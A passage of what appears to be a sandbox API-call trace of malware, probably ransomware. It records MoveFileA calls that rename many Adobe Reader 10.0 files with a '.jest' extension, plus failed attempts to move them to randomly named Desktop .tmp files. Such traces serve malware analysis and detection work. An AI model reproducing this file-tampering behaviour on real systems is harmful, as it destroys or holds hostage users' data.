10.0\\LeiaMe.htm") returned 52 [0151.575] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜楥䵡⹥瑨⹭敪瑳") returned 0x38 [0151.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0151.575] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜楥䵡⹥瑨⹭敪瑳") returned 0x38 [0151.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=57, lpWideCharStr=0x144ebf4, cchWideChar=113 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.jest") returned 57 [0151.576] VarBstrFromR4 (in: fltIn=0x479450a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.26") returned 0x0 [0151.576] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.576] CoFreeUnusedLibraries () [0151.576] GetTickCount () returned 0x1157a8d [0151.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.576] GetTickCount () returned 0x1157a8d [0151.576] IsWindowVisible (hWnd=0x30268) returned 0 [0151.576] Sleep (dwMilliseconds=0x0) [0151.577] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8jFft_ n9nG64WKIonioD 9vf1u6FrBKVrQuWS77PTR_BzMkKzY7 yaGggpPh6YzIa17BIffCBWfrIOWr hlS1fMup45tI 1Jj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8jfft_ n9ng64wkioniod 9vf1u6frbkvrquws77ptr_bzmkkzy7 yagggpph6yzia17biffcbwfriowr hls1fmup45ti 1jj.tmp")) returned 0 [0151.577] GetLastError () returned 0x2 [0151.577] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.578] CoFreeUnusedLibraries () [0151.578] GetTickCount () returned 0x1157a8d [0151.578] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.578] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.578] GetTickCount () returned 0x1157a8d [0151.578] IsWindowVisible (hWnd=0x30268) returned 0 [0151.578] Sleep (dwMilliseconds=0x0) [0151.578] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm.jest")) returned 1 [0151.580] GetLastError () returned 0x0 [0151.580] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜慥敭栮浴") returned 0x32 [0151.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0151.580] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜慥敭栮浴") returned 0x32 [0151.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=51, lpWideCharStr=0x144eaec, cchWideChar=101 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 51 [0151.580] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜慥敭栮浴樮獥t") returned 0x37 [0151.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0151.580] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜慥敭栮浴樮獥t") returned 0x37 [0151.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=56, lpWideCharStr=0x1467bd4, cchWideChar=111 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.jest") returned 56 [0151.580] VarBstrFromR4 (in: fltIn=0x479450a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.27") returned 0x0 [0151.580] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.581] CoFreeUnusedLibraries () [0151.581] GetTickCount () returned 0x1157a9d [0151.581] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.581] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.581] GetTickCount () returned 0x1157a9d [0151.581] IsWindowVisible (hWnd=0x30268) returned 0 [0151.581] Sleep (dwMilliseconds=0x0) [0151.581] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M4hPdwKRdyPOrY U-iJ8rM9JMiS5qJ N0av_q-W1hrBN1-wdlGrK0Qqeup9FwiGj3lGrdlYt5LX2ZeQRiPx0Mp_osAz5HabdeY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m4hpdwkrdypory u-ij8rm9jmis5qj n0av_q-w1hrbn1-wdlgrk0qqeup9fwigj3lgrdlyt5lx2zeqripx0mp_osaz5habdey.tmp")) returned 0 [0151.582] GetLastError () returned 0x2 [0151.582] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.582] CoFreeUnusedLibraries () [0151.582] GetTickCount () returned 0x1157a9d [0151.582] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.582] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.582] GetTickCount () returned 0x1157a9d [0151.582] IsWindowVisible (hWnd=0x30268) returned 0 [0151.582] Sleep (dwMilliseconds=0x0) [0151.582] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf.jest")) returned 1 [0151.583] GetLastError () returned 0x0 [0151.583] VarBstrFromR4 (in: fltIn=0x479450a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.27") returned 0x0 [0151.584] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.584] CoFreeUnusedLibraries () [0151.584] GetTickCount () returned 0x1157a9d [0151.584] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.584] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.584] GetTickCount () returned 0x1157a9d [0151.584] IsWindowVisible (hWnd=0x30268) returned 0 [0151.584] Sleep (dwMilliseconds=0x0) [0151.585] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wXDvvQ2dJFFdehwxECYsf0AYo5uMHZSxEiq Lg4VlYvXcI2Els5L83yEVHMVjrVVUT_K_FTTBTsCN6_Lbmr0Zk7Z-AGsHZpwHe9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wxdvvq2djffdehwxecysf0ayo5umhzsxeiq lg4vlyvxci2els5l83yevhmvjrvvut_k_fttbtscn6_lbmr0zk7z-agshzpwhe9.tmp")) returned 0 [0151.585] GetLastError () returned 0x2 [0151.585] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.585] CoFreeUnusedLibraries () [0151.585] GetTickCount () returned 0x1157a9d [0151.585] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.585] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.585] GetTickCount () returned 0x1157a9d [0151.585] IsWindowVisible (hWnd=0x30268) returned 0 [0151.585] Sleep (dwMilliseconds=0x0) [0151.586] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf.jest")) returned 1 [0151.586] GetLastError () returned 0x0 [0151.587] VarBstrFromR4 (in: fltIn=0x479450a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.27") returned 0x0 [0151.587] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.587] CoFreeUnusedLibraries () [0151.587] GetTickCount () returned 0x1157a9d [0151.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.587] GetTickCount () returned 0x1157a9d [0151.587] IsWindowVisible (hWnd=0x30268) returned 0 [0151.587] Sleep (dwMilliseconds=0x0) [0151.588] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E F3p56sB0Y9zjZks 23SOg H38G-LEnhrO3wJ0MF8DY_w6EujUGnZj Morgcy04c9fh5zWS_3 dRRWbDNeZtp98ccbG_zZMv WOB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e f3p56sb0y9zjzks 23sog h38g-lenhro3wj0mf8dy_w6eujugnzj morgcy04c9fh5zws_3 drrwbdneztp98ccbg_zzmv wob.tmp")) returned 0 [0151.588] GetLastError () returned 0x2 [0151.588] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.589] CoFreeUnusedLibraries () [0151.589] GetTickCount () returned 0x1157a9d [0151.589] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.589] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.589] GetTickCount () returned 0x1157a9d [0151.589] IsWindowVisible (hWnd=0x30268) returned 0 [0151.589] Sleep (dwMilliseconds=0x0) [0151.589] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf.jest")) returned 1 [0151.590] GetLastError () returned 0x0 [0151.590] VarBstrFromR4 (in: fltIn=0x479450a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.27") returned 0x0 [0151.590] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.591] CoFreeUnusedLibraries () [0151.591] GetTickCount () returned 0x1157a9d [0151.591] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.591] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.591] GetTickCount () returned 0x1157a9d [0151.591] IsWindowVisible (hWnd=0x30268) returned 0 [0151.591] Sleep (dwMilliseconds=0x0) [0151.591] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XPFIj4mCPbxLkd0CIW-irHf2V0VLlTQIbURE1jYflc0IUQoHNFBvFISQW5fvrFfp87j25a0GPdaDPu3rEsUI9ilfvgrhSxJbxydQP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpfij4mcpbxlkd0ciw-irhf2v0vlltqibure1jyflc0iuqohnfbvfisqw5fvrffp87j25a0gpdadpu3resui9ilfvgrhsxjbxydqp.tmp")) returned 0 [0151.592] GetLastError () returned 0x2 [0151.592] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.592] CoFreeUnusedLibraries () [0151.592] GetTickCount () returned 0x1157a9d [0151.592] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.592] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.592] GetTickCount () returned 0x1157a9d [0151.592] IsWindowVisible (hWnd=0x30268) returned 0 [0151.592] Sleep (dwMilliseconds=0x0) [0151.593] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf.jest")) returned 1 [0151.595] GetLastError () returned 0x0 [0151.596] VarBstrFromR4 (in: fltIn=0x479450a5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.29") returned 0x0 [0151.596] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.596] CoFreeUnusedLibraries () [0151.596] GetTickCount () returned 0x1157aac [0151.596] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.596] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.596] GetTickCount () returned 0x1157aac [0151.596] IsWindowVisible (hWnd=0x30268) returned 0 [0151.596] Sleep (dwMilliseconds=0x0) [0151.597] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CwLuHC_T2WqmOYISZXqTvhiktS0PM6eJJr3JTloYgNronG1e3foj1T nMrt0YucfwdZ5Dum ge7J fiPops9u8uTk88h4pjIDTw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cwluhc_t2wqmoyiszxqtvhikts0pm6ejjr3jtloygnrong1e3foj1t nmrt0yucfwdz5dum ge7j fipops9u8utk88h4pjidtw.tmp")) returned 0 [0151.597] GetLastError () returned 0x2 [0151.598] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.598] CoFreeUnusedLibraries () [0151.598] GetTickCount () returned 0x1157aac [0151.598] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.598] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.598] GetTickCount () returned 0x1157aac [0151.598] IsWindowVisible (hWnd=0x30268) returned 0 [0151.598] Sleep (dwMilliseconds=0x0) [0151.598] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf.jest")) returned 1 [0151.599] GetLastError () returned 0x0 [0151.600] VarBstrFromR4 (in: fltIn=0x479450a5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.29") returned 0x0 [0151.600] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.600] CoFreeUnusedLibraries () [0151.600] GetTickCount () returned 0x1157aac [0151.600] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.600] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.600] GetTickCount () returned 0x1157aac [0151.600] IsWindowVisible (hWnd=0x30268) returned 0 [0151.600] Sleep (dwMilliseconds=0x0) [0151.601] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uRdmLZF2OoHB87CQuMf9l6DJnrY_IUHGUlkc7gJm8FzPDVQIu2xI1 heh33r9q O T7mjNpQ BY7JusuJT Eys-PzigOALF3QWOl .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\urdmlzf2oohb87cqumf9l6djnry_iuhgulkc7gjm8fzpdvqiu2xi1 heh33r9q o t7mjnpq by7jusujt eys-pzigoalf3qwol .tmp")) returned 0 [0151.601] GetLastError () returned 0x2 [0151.602] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.602] CoFreeUnusedLibraries () [0151.602] GetTickCount () returned 0x1157aac [0151.602] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.602] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.602] GetTickCount () returned 0x1157aac [0151.602] IsWindowVisible (hWnd=0x30268) returned 0 [0151.602] Sleep (dwMilliseconds=0x0) [0151.602] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf.jest")) returned 1 [0151.603] GetLastError () returned 0x0 [0151.603] VarBstrFromR4 (in: fltIn=0x479450a5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.29") returned 0x0 [0151.604] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.604] CoFreeUnusedLibraries () [0151.604] GetTickCount () returned 0x1157aac [0151.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.604] GetTickCount () returned 0x1157aac [0151.604] IsWindowVisible (hWnd=0x30268) returned 0 [0151.604] Sleep (dwMilliseconds=0x0) [0151.605] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZFHVet0inrIr0K nrzrgb3bBh76ucBEbSUaOyQwnmQybq5sEbSjBNCa_EX65gerTuU6DAocKEJsiU _twtHf2t5zSJgnOeTni9yHn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfhvet0inrir0k nrzrgb3bbh76ucbebsuaoyqwnmqybq5sebsjbnca_ex65gertuu6daockejsiu _twthf2t5zsjgnoetni9yhn.tmp")) returned 0 [0151.605] GetLastError () returned 0x2 [0151.605] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.605] CoFreeUnusedLibraries () [0151.605] GetTickCount () returned 0x1157aac [0151.605] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.605] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.605] GetTickCount () returned 0x1157aac [0151.605] IsWindowVisible (hWnd=0x30268) returned 0 [0151.605] Sleep (dwMilliseconds=0x0) [0151.606] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf.jest")) returned 1 [0151.616] GetLastError () returned 0x0 [0151.617] VarBstrFromR4 (in: fltIn=0x479450a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.3") returned 0x0 [0151.618] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.618] CoFreeUnusedLibraries () [0151.618] GetTickCount () returned 0x1157abc [0151.618] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.618] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.618] GetTickCount () returned 0x1157abc [0151.618] IsWindowVisible (hWnd=0x30268) returned 0 [0151.618] Sleep (dwMilliseconds=0x0) [0151.619] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xhlNNsspszdQd7oGLAiNEBdpVp2igJainuGJDaYj7zCq3iGO6jvu9Z wxcUFAcedC7bGd9twlsn8XxEx9KbcMwT_4KUBFMwBfN_SZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xhlnnsspszdqd7oglainebdpvp2igjainugjdayj7zcq3igo6jvu9z wxcufacedc7bgd9twlsn8xxex9kbcmwt_4kubfmwbfn_sz.tmp")) returned 0 [0151.619] GetLastError () returned 0x2 [0151.619] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.620] CoFreeUnusedLibraries () [0151.620] GetTickCount () returned 0x1157abc [0151.620] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.620] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.620] GetTickCount () returned 0x1157abc [0151.620] IsWindowVisible (hWnd=0x30268) returned 0 [0151.620] Sleep (dwMilliseconds=0x0) [0151.620] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf.jest" (normalized: "c:\\program files 